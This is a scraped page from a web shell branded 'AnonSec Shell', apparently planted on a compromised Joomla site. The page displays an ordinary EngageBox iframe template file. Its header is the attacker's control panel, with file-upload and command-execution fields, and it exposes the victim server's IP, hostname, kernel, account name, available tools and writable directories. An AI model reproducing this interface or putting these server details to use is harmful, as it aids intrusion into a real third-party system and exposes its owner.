AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.112
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/lyon/plugins/engagebox/iframe/tmpl/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/lyon/plugins/engagebox/iframe/tmpl/default.php
<?php

/**
 * @package         EngageBox
 * @version         6.3.7 Pro
 * 
 * @author          Tassos Marinos <info@tassos.gr>
 * @link            http://www.tassos.gr
 * @copyright       Copyright © 2019 Tassos Marinos All Rights Reserved
 * @license         GNU GPLv3 <http://www.gnu.org/licenses/gpl.html> or later
*/

defined('_JEXEC') or die('Restricted access');

use Joomla\CMS\Factory;

$height  = $box->params->get("iframeheight", "500px");
$url     = $box->params->get("iframeurl");
$scroll  = $box->params->get("iframescrolling", "no");
$params  = $box->params->get("iframeparams");
$async   = $box->params->get("iframeasync", "afterOpen") == "dom" ? false : $box->params->get("iframeasync", "afterOpen");
$header  = $box->params->get("iframeheader", null);
$class   = ($height == "100%") ? "eboxFitFrame" : "";
$content = '<div class="iframeWrapper">' .
				'<iframe width="100%" height="' . $height . '" src="' . $url . '" scrolling="' . $scroll . '" frameborder="0" allowtransparency="true" ' . $params . ' class="' . $class . '"></iframe>' .
			'</div>';

?>

<?php if ($header) ?>
	<div class="eb-content-header">
		<?php echo $box->params->get("iframeheader"); ?>
	</div>
<?php ?>

<div class="eb-content-wrap">
	<?php if (!$async) { echo $content; } ?> 
</div>

<?php 

if ($async)
{ 
	Factory::getDocument()->addScriptDeclaration('
		EngageBox.onReady(function() {
			var box 	   = EngageBox.getInstance(' . $box->id . ');
			var async      = ' . json_encode($async) .';
			var content    = ' . json_encode($content) .';
			var container  = box.el.querySelector(".eb-content-wrap");
			var removeOnClose = '.json_encode($box->params->get("removeonclose", false)).'

			if (async == "pageLoad") {
				window.addEventListener("load", function() {
					container.innerHTML = content;
				});
			} else {
				box.on(async, function() {
					if (container.querySelectorAll("iframe").length == 0) {
						container.innerHTML = content;
					}
				});
			}

			if (removeOnClose) {
				box.on("afterClose", function() {
					container.removeChild(container.querySelector(".iframeWrapper"));
				});
			}
		});'
	);
}

Anon7 - 2022
AnonSec Team